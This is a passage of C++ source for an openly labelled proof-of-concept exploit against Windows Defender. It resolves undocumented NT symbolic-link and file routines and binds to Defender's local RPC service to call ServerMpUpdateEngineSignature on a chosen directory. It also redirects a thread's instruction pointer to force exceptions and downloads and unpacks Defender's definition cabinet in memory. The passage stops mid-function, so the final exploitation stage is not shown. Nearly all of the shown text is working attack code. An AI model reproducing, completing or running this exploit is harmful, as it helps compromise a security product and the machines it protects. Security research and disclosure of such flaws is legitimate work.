/ FunnyApp.cpp
FunnyApp.cpp
   1  // Special thanks to Tom Gallagher, Igor Tsyganskiy and Jeremy Tinder for making this PoC publicly disclosed !!!
   2  
   3  #define _CRT_SECURE_NO_WARNINGS
   4  
   5  #include <iostream>
   6  #include <Windows.h>
   7  #include <Lmcons.h>
   8  #include <wininet.h>
   9  #include <string.h>
  10  #include <fdi.h>
  11  #include <fcntl.h>
  12  #include <winternl.h>
  13  #include <conio.h>
  14  #include <Shlwapi.h>
  15  #include <ktmw32.h>
  16  #include <wuapi.h>
  17  #include <ntstatus.h>
  18  #include <cfapi.h>
  19  #include <aclapi.h>
  20  #include "windefend_h.h"
  21  
  22  /*
  23  #include <openssl/ssl.h>
  24  #include <openssl/err.h>
  25  #include <openssl/aes.h>
  26  #include <openssl/evp.h>
  27  #include <openssl/sha.h>
  28  #include <openssl/provider.h>
  29  #include <openssl/hmac.h>
  30  */
  31  #include "offreg.h"
  32  #define _NTDEF_
  33  #include <ntsecapi.h>
  34  #include <sddl.h>
  35  
  36  #pragma comment(lib, "wininet.lib")
  37  #pragma comment(lib, "ktmw32.lib")
  38  #pragma comment(lib, "Shlwapi.lib")
  39  #pragma comment(lib, "Rpcrt4.lib")
  40  #pragma comment(lib, "ntdll.lib")
  41  #pragma comment(lib, "Cabinet.lib")
  42  #pragma comment(lib, "Wuguid.lib")
  43  #pragma comment(lib,"CldApi.lib")
  44  
  45  
  46  /// NT routines and definitions
  47  HMODULE hm = GetModuleHandle(L"ntdll.dll");
  48  NTSTATUS(WINAPI* _NtCreateSymbolicLinkObject)(
  49  	OUT PHANDLE             pHandle,
  50  	IN ACCESS_MASK          DesiredAccess,
  51  	IN POBJECT_ATTRIBUTES   ObjectAttributes,
  52  	IN PUNICODE_STRING      DestinationName) = (NTSTATUS(WINAPI*)(
  53  		OUT PHANDLE             pHandle,
  54  		IN ACCESS_MASK          DesiredAccess,
  55  		IN POBJECT_ATTRIBUTES   ObjectAttributes,
  56  		IN PUNICODE_STRING      DestinationName))GetProcAddress(hm, "NtCreateSymbolicLinkObject");
  57  NTSTATUS(WINAPI* _NtOpenDirectoryObject)(
  58  	PHANDLE            DirectoryHandle,
  59  	ACCESS_MASK        DesiredAccess,
  60  	POBJECT_ATTRIBUTES ObjectAttributes
  61  	) = (NTSTATUS(WINAPI*)(
  62  		PHANDLE            DirectoryHandle,
  63  		ACCESS_MASK        DesiredAccess,
  64  		POBJECT_ATTRIBUTES ObjectAttributes
  65  		))GetProcAddress(hm, "NtOpenDirectoryObject");;
  66  NTSTATUS(WINAPI* _NtQueryDirectoryObject)(
  67  	HANDLE  DirectoryHandle,
  68  	PVOID   Buffer,
  69  	ULONG   Length,
  70  	BOOLEAN ReturnSingleEntry,
  71  	BOOLEAN RestartScan,
  72  	PULONG  Context,
  73  	PULONG  ReturnLength
  74  	) = (NTSTATUS(WINAPI*)(
  75  		HANDLE  DirectoryHandle,
  76  		PVOID   Buffer,
  77  		ULONG   Length,
  78  		BOOLEAN ReturnSingleEntry,
  79  		BOOLEAN RestartScan,
  80  		PULONG  Context,
  81  		PULONG  ReturnLength
  82  		))GetProcAddress(hm, "NtQueryDirectoryObject");
  83  NTSTATUS(WINAPI* _NtSetInformationFile)(
  84  	HANDLE                 FileHandle,
  85  	PIO_STATUS_BLOCK       IoStatusBlock,
  86  	PVOID                  FileInformation,
  87  	ULONG                  Length,
  88  	FILE_INFORMATION_CLASS FileInformationClass
  89  	) = (NTSTATUS(WINAPI*)(
  90  		HANDLE                 FileHandle,
  91  		PIO_STATUS_BLOCK       IoStatusBlock,
  92  		PVOID                  FileInformation,
  93  		ULONG                  Length,
  94  		FILE_INFORMATION_CLASS FileInformationClass
  95  		))GetProcAddress(hm, "NtSetInformationFile");
  96  
  97  #define RtlOffsetToPointer(Base, Offset) ((PUCHAR)(((PUCHAR)(Base)) + ((ULONG_PTR)(Offset))))
  98  
  99  
 100  typedef struct _FILE_DISPOSITION_INFORMATION_EX {
 101  	ULONG Flags;
 102  } FILE_DISPOSITION_INFORMATION_EX, * PFILE_DISPOSITION_INFORMATION_EX;
 103  typedef struct _OBJECT_DIRECTORY_INFORMATION {
 104  	UNICODE_STRING Name;
 105  	UNICODE_STRING TypeName;
 106  } OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION;
 107  
 108  typedef struct _REPARSE_DATA_BUFFER {
 109  	ULONG  ReparseTag;
 110  	USHORT ReparseDataLength;
 111  	USHORT Reserved;
 112  	union {
 113  		struct {
 114  			USHORT SubstituteNameOffset;
 115  			USHORT SubstituteNameLength;
 116  			USHORT PrintNameOffset;
 117  			USHORT PrintNameLength;
 118  			ULONG Flags;
 119  			WCHAR PathBuffer[1];
 120  		} SymbolicLinkReparseBuffer;
 121  		struct {
 122  			USHORT SubstituteNameOffset;
 123  			USHORT SubstituteNameLength;
 124  			USHORT PrintNameOffset;
 125  			USHORT PrintNameLength;
 126  			WCHAR PathBuffer[1];
 127  		} MountPointReparseBuffer;
 128  		struct {
 129  			UCHAR  DataBuffer[1];
 130  		} GenericReparseBuffer;
 131  	} DUMMYUNIONNAME;
 132  } REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;
 133  
 134  #define REPARSE_DATA_BUFFER_HEADER_LENGTH FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer)
 135  
 136  //////////////// NT DEF END
 137  
 138  
 139  // definitions of structures used by threads that invoke WD RPC calls
 140  struct WDRPCWorkerThreadArgs
 141  {
 142  	HANDLE hntfythread;
 143  	HANDLE hevent;
 144  	RPC_STATUS res;
 145  	wchar_t* dirpath;
 146  };
 147  
 148  typedef struct tagMPCOMPONENT_VERSION {
 149  	ULONGLONG      Version;
 150  	ULARGE_INTEGER UpdateTime;
 151  } MPCOMPONENT_VERSION, * PMPCOMPONENT_VERSION;
 152  
 153  typedef struct tagMPVERSION_INFO {
 154  	MPCOMPONENT_VERSION Product;
 155  	MPCOMPONENT_VERSION Service;
 156  	MPCOMPONENT_VERSION FileSystemFilter;
 157  	MPCOMPONENT_VERSION Engine;
 158  	MPCOMPONENT_VERSION ASSignature;
 159  	MPCOMPONENT_VERSION AVSignature;
 160  	MPCOMPONENT_VERSION NISEngine;
 161  	MPCOMPONENT_VERSION NISSignature;
 162  	MPCOMPONENT_VERSION Reserved[4];
 163  } MPVERSION_INFO, * PMPVERSION_INFO;
 164  
 165  typedef union Version {
 166  	struct {
 167  		WORD major;
 168  		WORD minor;
 169  		WORD build;
 170  		WORD revision;
 171  	};
 172  	ULONGLONG QuadPart;
 173  };
 174  //////////////////
 175  
 176  
 177  // structures and global vars used by definition update functions
 178  void* cabbuff2 = NULL;
 179  DWORD cabbuffsz = 0;
 180  struct CabOpArguments {
 181  	ULONG index;
 182  	char* filename;
 183  	size_t ptroffset;
 184  	char* buff;
 185  	DWORD FileSize;
 186  	CabOpArguments* first;
 187  	CabOpArguments* next;
 188  };
 189  
 190  struct UpdateFiles {
 191  	char filename[MAX_PATH];
 192  	void* filebuff;
 193  	DWORD filesz;
 194  	bool filecreated;
 195  	UpdateFiles* next;
 196  };
 197  ///////////////////////////////////////
 198  
 199  
 200  // structures and global vars used by volume shadow copy functions
 201  struct cldcallbackctx {
 202  
 203  	HANDLE hnotifywdaccess;
 204  	HANDLE hnotifylockcreated;
 205  	wchar_t filename[MAX_PATH];
 206  };
 207  
 208  struct LLShadowVolumeNames
 209  {
 210  	wchar_t* name;
 211  	LLShadowVolumeNames* next;
 212  };
 213  
 214  struct cloudworkerthreadargs {
 215  	HANDLE hlock;
 216  	HANDLE hcleanupevent;
 217  	HANDLE hvssready;
 218  };
 219  ///////////////////////////////////////
 220  
 221  
 222  
 223  //////////////////////////////////////////////////////////////////////
 224  // Functions required by RPC
 225  /////////////////////////////////////////////////////////////////////
 226  
 227  void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes)
 228  {
 229  	return((void __RPC_FAR*) malloc(cBytes));
 230  }
 231  
 232  void __RPC_USER midl_user_free(void __RPC_FAR* p)
 233  {
 234  	free(p);
 235  }
 236  //////////////////////////////////////////////////////////////////////
 237  // Functions required by RPC end
 238  /////////////////////////////////////////////////////////////////////
 239  
 240  
 241  
 242  
 243  //////////////////////////////////////////////////////////////////////
 244  // WD RPC functions
 245  /////////////////////////////////////////////////////////////////////
 246  void ThrowFunc()
 247  {
 248  	throw 0;
 249  }
 250  
 251  void RaiseExceptionInThread(HANDLE hthread)
 252  {
 253  	CONTEXT ctx = { 0 };
 254  	ctx.ContextFlags = CONTEXT_FULL;
 255  	SuspendThread(hthread);
 256  
 257  	if (GetThreadContext(hthread, &ctx))
 258  	{
 259  		ctx.Rip = (DWORD64)ThrowFunc;
 260  		SetThreadContext(hthread, &ctx);
 261  		ResumeThread(hthread);
 262  	}
 263  }
 264  
 265  void CallWD(WDRPCWorkerThreadArgs* args)
 266  {
 267  	RPC_WSTR MS_WD_UUID = (RPC_WSTR)L"c503f532-443a-4c69-8300-ccd1fbdb3839";
 268  	RPC_WSTR StringBinding;
 269  	if (RpcStringBindingComposeW(MS_WD_UUID, (RPC_WSTR)L"ncalrpc", NULL, (RPC_WSTR)L"IMpService77BDAF73-B396-481F-9042-AD358843EC24", NULL, &StringBinding) != RPC_S_OK)
 270  	{
 271  		printf("Unexpected error while building an RPC binding from string !!!");
 272  		RaiseExceptionInThread(args->hntfythread);
 273  		return;
 274  	}
 275  	RPC_BINDING_HANDLE bindhandle = 0;
 276  	if (RpcBindingFromStringBindingW(StringBinding, &bindhandle) != RPC_S_OK)
 277  	{
 278  		printf("Failed to connect to windows defender RPC port !!!");
 279  		RaiseExceptionInThread(args->hntfythread);
 280  		return;
 281  	}
 282  	// PoC might fail here with 0x8050A003 from time to time, this means the update that the PoC is attempting to perform isn't the right one for this code, bail out anyway and wait for the right update.
 283  	error_status_t errstat = 0;
 284  	printf("Calling ServerMpUpdateEngineSignature...\n");
 285  	RPC_STATUS stat = Proc42_ServerMpUpdateEngineSignature(bindhandle, NULL, args->dirpath, &errstat);
 286  	args->res = stat;
 287  	if (args->hevent)
 288  		SetEvent(args->hevent);
 289  
 290  }
 291  
 292  DWORD WINAPI WDCallerThread(void* args)
 293  {
 294  	if (!args)
 295  		return ERROR_BAD_ARGUMENTS;
 296  	CallWD((WDRPCWorkerThreadArgs*)args);
 297  	return ERROR_SUCCESS;
 298  
 299  }
 300  //////////////////////////////////////////////////////////////////////
 301  // WD RPC functions end
 302  /////////////////////////////////////////////////////////////////////
 303  
 304  
 305  
 306  
 307  //////////////////////////////////////////////////////////////////////
 308  // WD definition update functions
 309  /////////////////////////////////////////////////////////////////////
 310  
 311  CabOpArguments* CUST_FNOPEN(const char* filename, int oflag, int pmode)
 312  {
 313  
 314  	CabOpArguments* cbps = (CabOpArguments*)malloc(sizeof(CabOpArguments));
 315  	ZeroMemory(cbps, sizeof(CabOpArguments));
 316  	cbps->buff = (char*)cabbuff2;
 317  	cbps->FileSize = cabbuffsz;
 318  	return cbps;
 319  }
 320  
 321  INT CUST_FNSEEK(HANDLE hf,
 322  	long offset,
 323  	int origin)
 324  {
 325  
 326  	if (hf)
 327  	{
 328  		CabOpArguments* CabOpArgs = (CabOpArguments*)hf;
 329  		if (origin == SEEK_SET)
 330  			CabOpArgs->ptroffset = offset;
 331  		if (origin == SEEK_CUR)
 332  			CabOpArgs->ptroffset += offset;
 333  		if (origin == SEEK_END)
 334  			CabOpArgs->ptroffset += CabOpArgs->FileSize;
 335  
 336  		return CabOpArgs->ptroffset;
 337  
 338  	}
 339  
 340  	return -1;
 341  }
 342  
 343  
 344  UINT CUST_FNREAD(CabOpArguments* hf,
 345  	void* const buffer,
 346  	unsigned const buffer_size)
 347  {
 348  
 349  	if (hf)
 350  	{
 351  		CabOpArguments* CabOpArgs = (CabOpArguments*)hf;
 352  		if (CabOpArgs->buff)
 353  		{
 354  
 355  			memmove(buffer, &CabOpArgs->buff[CabOpArgs->ptroffset], buffer_size);
 356  			CabOpArgs->ptroffset += buffer_size;
 357  			//CabOpArgs->ReadBytes += buffer_size;
 358  			return buffer_size;
 359  		}
 360  	}
 361  
 362  	return NULL;
 363  }
 364  
 365  UINT CUST_FNWRITE(CabOpArguments* hf,
 366  	const void* buffer,
 367  	unsigned int count)
 368  {
 369  
 370  	if (hf)
 371  	{
 372  		if (hf->buff) {
 373  			memmove(&hf->buff[hf->ptroffset], buffer, count);
 374  			hf->ptroffset += count;
 375  			return count;
 376  		}
 377  	}
 378  
 379  
 380  	return NULL;
 381  }
 382  
 383  INT CUST_FNCLOSE(CabOpArguments* fnFileClose)
 384  {
 385  
 386  	free(fnFileClose);
 387  	return 0;
 388  }
 389  
 390  VOID* CUST_FNALLOC(size_t cb)
 391  {
 392  	return malloc(cb);
 393  }
 394  
 395  VOID CUST_FNFREE(void* buff)
 396  {
 397  	free(buff);
 398  }
 399  
 400  INT_PTR CUST_FNFDINOTIFY(
 401  	FDINOTIFICATIONTYPE fdinotify, PFDINOTIFICATION    pfdin
 402  ) {
 403  
 404  	//printf("_FNFDINOTIFY : %d\n", fdinotify);
 405  	wchar_t newfile[MAX_PATH] = { 0 };
 406  	wchar_t filename[MAX_PATH] = { 0 };
 407  	HANDLE hfile = NULL;
 408  	ULONG rethandle = 0;
 409  	CabOpArguments** ptr = NULL;
 410  	CabOpArguments* lcab = NULL;
 411  	switch (fdinotify)
 412  	{
 413  	case fdintCOPY_FILE:
 414  		if (_stricmp(pfdin->psz1, "MpSigStub.exe") == 0)
 415  			return NULL;
 416  
 417  		ptr = (CabOpArguments**)pfdin->pv;
 418  		lcab = *ptr;
 419  		if (lcab == NULL) {
 420  			lcab = (CabOpArguments*)malloc(sizeof(CabOpArguments));
 421  			ZeroMemory(lcab, sizeof(CabOpArguments));
 422  			lcab->first = lcab;
 423  			lcab->filename = (char*)malloc(strlen(pfdin->psz1) + sizeof(char));
 424  			ZeroMemory(lcab->filename, strlen(pfdin->psz1) + sizeof(char));
 425  			memmove(lcab->filename, pfdin->psz1, strlen(pfdin->psz1));
 426  			lcab->FileSize = pfdin->cb;
 427  			lcab->buff = (char*)malloc(lcab->FileSize);
 428  			ZeroMemory(lcab->buff, lcab->FileSize);
 429  
 430  
 431  		}
 432  		else
 433  		{
 434  
 435  
 436  			lcab->next = (CabOpArguments*)malloc(sizeof(CabOpArguments));
 437  			ZeroMemory(lcab->next, sizeof(CabOpArguments));
 438  			lcab->next->first = lcab->first;
 439  			lcab = lcab->next;
 440  
 441  			lcab->filename = (char*)malloc(strlen(pfdin->psz1) + sizeof(char));
 442  			ZeroMemory(lcab->filename, strlen(pfdin->psz1) + sizeof(char));
 443  			memmove(lcab->filename, pfdin->psz1, strlen(pfdin->psz1));
 444  			lcab->FileSize = pfdin->cb;
 445  			lcab->buff = (char*)malloc(lcab->FileSize);
 446  			ZeroMemory(lcab->buff, lcab->FileSize);
 447  		}
 448  
 449  		lcab->first->index++;
 450  		*ptr = lcab;
 451  
 452  
 453  
 454  		return (INT_PTR)lcab;
 455  		break;
 456  	case fdintCLOSE_FILE_INFO:
 457  		return TRUE;
 458  		break;
 459  	default:
 460  		return 0;
 461  	}
 462  	return 0;
 463  }
 464  
 465  void* GetCabFileFromBuff(PIMAGE_DOS_HEADER pvRawData, ULONG cbRawData, ULONG* cabsz)
 466  {
 467  	if (cbRawData < sizeof(IMAGE_DOS_HEADER))
 468  	{
 469  		return 0;
 470  	}
 471  
 472  	if (pvRawData->e_magic != IMAGE_DOS_SIGNATURE)
 473  	{
 474  		return 0;
 475  	}
 476  
 477  	ULONG e_lfanew = pvRawData->e_lfanew, s = e_lfanew + sizeof(IMAGE_NT_HEADERS);
 478  
 479  	if (e_lfanew >= s || s > cbRawData)
 480  	{
 481  		return 0;
 482  	}
 483  
 484  	PIMAGE_NT_HEADERS pinth = (PIMAGE_NT_HEADERS)RtlOffsetToPointer(pvRawData, e_lfanew);
 485  
 486  
 487  
 488  	if (pinth->Signature != IMAGE_NT_SIGNATURE)
 489  	{
 490  		return 0;
 491  	}
 492  
 493  	ULONG SizeOfImage = pinth->OptionalHeader.SizeOfImage, SizeOfHeaders = pinth->OptionalHeader.SizeOfHeaders;
 494  
 495  	s = e_lfanew + SizeOfHeaders;
 496  
 497  	if (SizeOfHeaders > SizeOfImage || SizeOfHeaders >= s || s > cbRawData)
 498  	{
 499  		return 0;
 500  	}
 501  
 502  	s = FIELD_OFFSET(IMAGE_NT_HEADERS, OptionalHeader) + pinth->FileHeader.SizeOfOptionalHeader;
 503  
 504  	if (s > SizeOfHeaders)
 505  	{
 506  		return 0;
 507  	}
 508  
 509  	ULONG NumberOfSections = pinth->FileHeader.NumberOfSections;
 510  
 511  	PIMAGE_SECTION_HEADER pish = (PIMAGE_SECTION_HEADER)RtlOffsetToPointer(pinth, s);
 512  
 513  	ULONG Size;
 514  
 515  	if (NumberOfSections)
 516  	{
 517  		if (e_lfanew + s + NumberOfSections * sizeof(IMAGE_SECTION_HEADER) > SizeOfHeaders)
 518  		{
 519  			return 0;
 520  		}
 521  
 522  		do
 523  		{
 524  			if (Size = min(pish->Misc.VirtualSize, pish->SizeOfRawData))
 525  			{
 526  				union {
 527  					ULONG VirtualAddress, PointerToRawData;
 528  				};
 529  
 530  				VirtualAddress = pish->VirtualAddress, s = VirtualAddress + Size;
 531  
 532  				if (VirtualAddress > s || s > SizeOfImage)
 533  				{
 534  					return 0;
 535  				}
 536  
 537  				PointerToRawData = pish->PointerToRawData, s = PointerToRawData + Size;
 538  
 539  				if (PointerToRawData > s || s > cbRawData)
 540  				{
 541  					return 0;
 542  				}
 543  
 544  				char rsrc[] = ".rsrc";
 545  				if (memcmp(pish->Name, rsrc, sizeof(rsrc)) == 0)
 546  				{
 547  					typedef struct _IMAGE_RESOURCE_DIRECTORY2 {
 548  						DWORD   Characteristics;
 549  						DWORD   TimeDateStamp;
 550  						WORD    MajorVersion;
 551  						WORD    MinorVersion;
 552  						WORD    NumberOfNamedEntries;
 553  						WORD    NumberOfIdEntries;
 554  						IMAGE_RESOURCE_DIRECTORY_ENTRY DirectoryEntries[];
 555  					} IMAGE_RESOURCE_DIRECTORY2, * PIMAGE_RESOURCE_DIRECTORY2;
 556  
 557  					PIMAGE_RESOURCE_DIRECTORY2 pird = (PIMAGE_RESOURCE_DIRECTORY2)RtlOffsetToPointer(pvRawData, pish->PointerToRawData);
 558  
 559  					PIMAGE_RESOURCE_DIRECTORY2 prsrc = pird;
 560  					PIMAGE_RESOURCE_DIRECTORY_ENTRY pirde = { 0 };
 561  					PIMAGE_RESOURCE_DATA_ENTRY pdata = 0;
 562  
 563  					while (pird->NumberOfNamedEntries + pird->NumberOfIdEntries)
 564  					{
 565  
 566  
 567  
 568  
 569  						pirde = &pird->DirectoryEntries[0];
 570  						if (!pirde->DataIsDirectory)
 571  						{
 572  							pdata = (PIMAGE_RESOURCE_DATA_ENTRY)RtlOffsetToPointer(prsrc, pirde->OffsetToData);
 573  							pdata->OffsetToData -= pish->VirtualAddress - pish->PointerToRawData;
 574  							void* cabfile = RtlOffsetToPointer(pvRawData, pdata->OffsetToData);
 575  							if (cabsz)
 576  								*cabsz = pdata->Size;
 577  							return cabfile;
 578  						}
 579  						pird = (PIMAGE_RESOURCE_DIRECTORY2)RtlOffsetToPointer(prsrc, pirde->OffsetToDirectory);
 580  					}
 581  					break;
 582  
 583  
 584  
 585  
 586  				}
 587  
 588  
 589  
 590  			}
 591  
 592  		} while (pish++, --NumberOfSections);
 593  	}
 594  	return NULL;
 595  
 596  }
 597  
 598  
 599  UpdateFiles* GetUpdateFiles(int* filecount = NULL)
 600  {
 601  
 602  
 603  
 604  	HINTERNET hint = NULL;
 605  	HINTERNET hint2 = NULL;
 606  	char data[0x1000] = { 0 };
 607  	DWORD index = 0;
 608  	DWORD sz = sizeof(data);
 609  	bool res2 = 0;
 610  	wchar_t filesz[50] = { 0 };
 611  	LARGE_INTEGER li = { 0 };
 612  	GUID uid = { 0 };
 613  	RPC_WSTR wuid = { 0 };
 614  	wchar_t* wuid2 = 0;
 615  	wchar_t envstr[MAX_PATH] = { 0 };
 616  	wchar_t mpampath[MAX_PATH] = { 0 };
 617  	HANDLE hmpap = NULL;
 618  	void* exebuff = NULL;
 619  	DWORD readsz = 0;
 620  	HANDLE hmapping = NULL;
 621  	void* mappedbuff = NULL;
 622  	HRSRC hres = NULL;
 623  	DWORD ressz = NULL;
 624  	HGLOBAL cabbuff = NULL;
 625  	HANDLE htransaction = NULL;
 626  	char fname[] = "update.cab";
 627  	ERF erfstruct = { 0 };
 628  	HFDI hcabctx = NULL;
 629  	bool extractres = false;
 630  	DWORD totalsz = 0;
 631  	HANDLE hmpeng = NULL;
 632  	CabOpArguments* CabOpArgs = NULL;
 633  	CabOpArguments* mpenginedata = NULL;
 634  	void* dllview = NULL;
 635  	char** filesmtrx = 0;
 636  	UpdateFiles* firstupdt = NULL;
 637  	UpdateFiles* current = NULL;
 638  
 639  	DWORD nbytes = 0;
 640  
 641  
 642  	printf("Downloading updates...\n");
 643  	hint = InternetOpen(L"Chrome/141.0.0.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, NULL);
 644  	if (!hint)
 645  	{
 646  		printf("Failed to open internet, error : %d", GetLastError());
 647  		goto cleanup;
 648  	}
 649  
 650  	hint2 = InternetOpenUrl(hint, L"https://go.microsoft.com/fwlink/?LinkID=121721&arch=x64", NULL, NULL, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD, NULL);
 651  	//InternetCloseHandle(hint);
 652  	if (!hint2)
 653  	{
 654  		printf("Failed to open internet URL, error : %d", GetLastError());
 655  		goto cleanup;
 656  	}
 657  
 658  	res2 = HttpQueryInfo(hint2, HTTP_QUERY_CONTENT_LENGTH, data, &sz, &index);
 659  	if (!res2)
 660  	{
 661  		printf("Failed to query update size, error : %d", GetLastError());
 662  		goto cleanup;
 663  	}
 664  
 665  
 666  	wcscpy(filesz, (LPWSTR)data);
 667  	sz = _wtoi(filesz);
 668  	li.QuadPart = sz;
 669  
 670  
 671  	exebuff = malloc(sz);
 672  	if (!exebuff)
 673  	{
 674  		printf("Failed to allocate memory to download file !!!");
 675  		goto cleanup;
 676  	}
 677  	ZeroMemory(exebuff, sz);
 678  
 679  	if (!InternetReadFile(hint2, exebuff, sz, &readsz) || readsz != sz)
 680  	{
 681  
 682  		printf("Failed to download update from internet, error : %d", GetLastError());
 683  		goto cleanup;
 684  	}
 685  	InternetCloseHandle(hint);
 686  	hint = NULL;
 687  	InternetCloseHandle(hint2);
 688  	hint = NULL;
 689  	printf("Done.\n");
 690  	mappedbuff = GetCabFileFromBuff((PIMAGE_DOS_HEADER)exebuff, sz, &ressz);
 691  
 692  
 693  
 694  	if (!mappedbuff)
 695  	{
 696  		printf("Failed to retrieve cabinet file from downloaded file.\n");
 697  		goto cleanup;
 698  	}
 699  	printf("Cabinet file mapped at 0x%p\n", mappedbuff);
 700  
 701  
 702  
 703  
 704  	cabbuff2 = mappedbuff;
 705  	cabbuffsz = ressz;
 706  
 707  	printf("Extracting cab file content...\n");
 708  	hcabctx = FDICreate((PFNALLOC)CUST_FNALLOC, CUST_FNFREE, (PFNOPEN)CUST_FNOPEN, (PFNREAD)CUST_FNREAD, (PFNWRITE)CUST_FNWRITE, (PFNCLOSE)CUST_FNCLOSE, (PFNSEEK)CUST_FNSEEK, cpuUNKNOWN, &erfstruct);
 709  	if (!hcabctx)
 710  	{
 711  		printf("Failed to create cab context, error : 0x%x", erfstruct.erfOper);
 712  		goto cleanup;
 713  	}
 714  
 715  
 716  
 717  	extractres = FDICopy(hcabctx, (char*)"\\update.cab", (char*)"C:\\temp", NULL, (PFNFDINOTIFY)CUST_FNFDINOTIFY, NULL, &CabOpArgs);
 718  	if (!extractres)
 719  	{
 720  		printf("Failed to extract cab file, error : 0x%x", erfstruct.erfOper);
 721  		goto cleanup;
 722  	}
 723  	FDIDestroy(hcabctx);
 724  	hcabctx = NULL;
 725  
 726  	if (!CabOpArgs)
 727  	{
 728  		printf("Unexpected empty buffer after extracting cab file.\n");
 729  		return NULL;
 730  	}
 731  
 732  	CabOpArgs = CabOpArgs->first;
 733  
 734  	firstupdt = (UpdateFiles*)malloc(sizeof(UpdateFiles));
 735  	ZeroMemory(firstupdt, sizeof(UpdateFiles));
 736  	current = firstupdt;
 737  	while (CabOpArgs)
 738  	{
 739  		if (filecount)
 740  			*filecount += 1;
 741  		strcpy(current->filename, CabOpArgs->filename);
 742  		DWORD buffsz = CabOpArgs->FileSize;
 743  		current->filebuff = malloc(buffsz);
 744  		memmove(current->filebuff, CabOpArgs->buff, buffsz);
 745  		current->filesz = buffsz;
 746  		CabOpArgs = CabOpArgs->next;
 747  		if (CabOpArgs)
 748  		{
 749  			current->next = (UpdateFiles*)malloc(sizeof(UpdateFiles));
 750  			ZeroMemory(current->next, sizeof(UpdateFiles));
 751  			current = current->next;
 752  		}
 753  
 754  	}
 755  	printf("Cab file content extracted.\n");
 756  
 757  
 758  cleanup:
 759  
 760  	if (CabOpArgs)
 761  	{
 762  		CabOpArguments* current = CabOpArgs->first;
 763  		while (current)
 764  		{
 765  			free(current->buff);
 766  			free(current->filename);
 767  			CabOpArgs = current;
 768  			current = current->next;
 769  			free(CabOpArgs);
 770  		}
 771  	}
 772  	if (hint)
 773  		InternetCloseHandle(hint);
 774  	
 775  	if (hint2)
 776  		InternetCloseHandle(hint2);
 777  	if (exebuff)
 778  		free(exebuff);
 779  
 780  	return firstupdt;
 781  
 782  
 783  }
 784  
 785  bool CheckForWDUpdates(wchar_t* updatetitle, bool* criterr)
 786  {
 787  
 788  
 789  
 790  	IUpdateSearcher* updsrch = 0;
 791  	bool updatesfound = false;
 792  	IUpdateSession* updsess = 0;
 793  	CLSID clsid;
 794  	HRESULT hr = CLSIDFromProgID(OLESTR("Microsoft.Update.Session"), &clsid);
 795  	ISearchResult* srchres = 0;
 796  	IUpdateCollection* updcollection = 0;
 797  	LONG updnum = 0;
 798  	BSTR title = 0;
 799  	BSTR desc = 0;
 800  	ICategoryCollection* catcoll = 0;
 801  	ICategory* cat = 0;
 802  	BSTR catname = 0;
 803  	IUpdate* upd = 0;
 804  	bool comini = CoInitialize(NULL) == 0;
 805  	if (!comini) {
 806  		printf("Failed to initialize COM\n");
 807  		*criterr = true;
 808  		return false;
 809  	}
 810  
 811  
 812  
 813  
 814  	hr = CoCreateInstance(clsid, NULL, CLSCTX_INPROC_SERVER, IID_IUpdateSession, (LPVOID*)&updsess);
 815  
 816  	if (!updsess)
 817  	{
 818  		printf("CoCreateInstance returned a NULL pointer.\n");
 819  		*criterr = true;
 820  		goto cleanup;
 821  	}
 822  	//printf("CoCreateInstance : 0x%p\n", updsess);
 823  
 824  
 825  	hr = updsess->CreateUpdateSearcher(&updsrch);
 826  	if (hr)
 827  	{
 828  		printf("IUpdateSearcher->CreateUpdateSearcher failed with error : 0x%0.X", hr);
 829  		*criterr = true;
 830  		goto cleanup;
 831  	}
 832  
 833  	if (!updsrch)
 834  	{
 835  		printf("IUpdateSearcher->CreateUpdateSearcher returned a NULL pointer.\n");
 836  		*criterr = true;
 837  		goto cleanup;
 838  	}
 839  	//printf("IUpdateSearcher->CreateUpdateSearcher : 0x%p\n", updsrch);
 840  	//printf("Checking for updates, please wait...\n");
 841  	hr = updsrch->Search(SysAllocString(L""), &srchres);
 842  	if (hr)
 843  	{
 844  		printf("ISearchResult->Search failed with error : 0x%0.X", hr);
 845  		*criterr = true;
 846  		goto cleanup;
 847  	}
 848  	//printf("ISearchResult->Search : 0x%p\n", srchres);
 849  
 850  	hr = srchres->get_Updates(&updcollection);
 851  	if (hr)
 852  	{
 853  		printf("IUpdateCollection->get_Updates failed with error : 0x%0.X", hr);
 854  		*criterr = true;
 855  		goto cleanup;
 856  	}
 857  
 858  	if (!updcollection)
 859  	{
 860  		printf("IUpdateCollection->get_Updates returned a NULL pointer.\n");
 861  		*criterr = true;
 862  		goto cleanup;
 863  	}
 864  	//printf("IUpdateCollection->get_Updates : 0x%p\n", updcollection);
 865  
 866  
 867  	hr = updcollection->get_Count(&updnum);
 868  	if (hr)
 869  	{
 870  		printf("IUpdateCollection->get_Count failed with error : 0x%0.X", hr);
 871  		*criterr = true;
 872  		goto cleanup;
 873  	}
 874  	//printf("Updates count : %d\n", updnum);
 875  
 876  	for (LONG i = 0; i < updnum; i++)
 877  	{
 878  		if (upd)
 879  		{
 880  			upd->Release();
 881  			upd = 0;
 882  		}
 883  		title = 0;
 884  		desc = 0;
 885  		catname = 0;
 886  		//printf("_________________________________________\n");
 887  		bool IsWdUdpate = false;
 888  		bool IsSigUpdate = false;
 889  		hr = updcollection->get_Item(i, &upd);
 890  		if (hr)
 891  		{
 892  			printf("IUpdateCollection->get_Item failed with error : 0x%0.X", hr);
 893  			*criterr = true;
 894  			goto cleanup;
 895  		}
 896  		if (!upd)
 897  		{
 898  			printf("IUpdateCollection->get_Item returned a NULL pointer.\n");
 899  			*criterr = true;
 900  			goto cleanup;
 901  		}
 902  		//printf("Update number : %d\n", i + 1);
 903  
 904  		hr = upd->get_Title(&title);
 905  		if (hr)
 906  		{
 907  			printf("IUpdateCollection->get_Title failed with error : 0x%0.X", hr);
 908  			continue;
 909  		}
 910  		if (!title)
 911  		{
 912  			printf("IUpdateCollection->get_Item returned a NULL pointer.\n");
 913  			continue;
 914  		}
 915  		title[SysStringLen(title)] = NULL;
 916  		//printf("Title : %ws\n", title);
 917  
 918  		/*
 919  		desc = 0;
 920  		upd->get_Description(&desc);
 921  		if (!desc)
 922  		{
